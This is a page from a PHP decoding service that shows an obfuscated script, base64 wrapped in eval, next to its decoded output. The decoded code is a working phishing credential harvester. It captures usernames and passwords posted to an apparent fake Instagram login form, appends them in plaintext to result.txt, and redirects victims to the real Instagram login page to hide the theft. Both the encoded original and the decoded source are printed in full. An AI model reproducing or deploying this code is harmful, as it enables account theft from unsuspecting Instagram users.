Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$data = 'aWYgKGlzc2V0KCRfUE9TVFsidXNlcm5hbWUiXSkgJiYgaXNzZXQoJF9QT1NUWyJwYXNzd29yZCJdKSkge..
Decoded Output download
if (isset($_POST["username"]) && isset($_POST["password"])) {
// Lakukan operasi penulisan ke file
$username = $_POST["username"];
$password = $_POST["password"];
$data = "User: " . $username . "
" . "Password: " . $password . "
" . "
";
$file = fopen("result.txt", "a");
fwrite($file, $data);
fclose($file);
header("Location: https://www.instagram.com/accounts/login/?next=https%3A%2F%2Fwww.instagram.com%2F");
}
Did this file decode correctly?
Original Code
$data = 'aWYgKGlzc2V0KCRfUE9TVFsidXNlcm5hbWUiXSkgJiYgaXNzZXQoJF9QT1NUWyJwYXNzd29yZCJdKSkgewogICAgLy8gTGFrdWthbiBvcGVyYXNpIHBlbnVsaXNhbiBrZSBmaWxlCgoKICAkdXNlcm5hbWUgPSAkX1BPU1RbInVzZXJuYW1lIl07CiAgJHBhc3N3b3JkID0gJF9QT1NUWyJwYXNzd29yZCJdOwogIAogICRkYXRhID0gIlVzZXI6ICIgLiAkdXNlcm5hbWUgLiAiXG4iIC4gIlBhc3N3b3JkOiAiIC4gJHBhc3N3b3JkIC4gIlxuIiAuICJcbiI7CiAgCiAgJGZpbGUgPSBmb3BlbigicmVzdWx0LnR4dCIsICJhIik7CiAgZndyaXRlKCRmaWxlLCAkZGF0YSk7CiAgZmNsb3NlKCRmaWxlKTsKICAKICBoZWFkZXIoIkxvY2F0aW9uOiBodHRwczovL3d3dy5pbnN0YWdyYW0uY29tL2FjY291bnRzL2xvZ2luLz9uZXh0PWh0dHBzJTNBJTJGJTJGd3d3Lmluc3RhZ3JhbS5jb20lMkYiKTsKICB9';
$decode = base64_decode($data);
eval($decode);
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 0495c9b36c0fbcdbe02799394144d679 |
Eval Count | 1 |
Decode Time | 64 ms |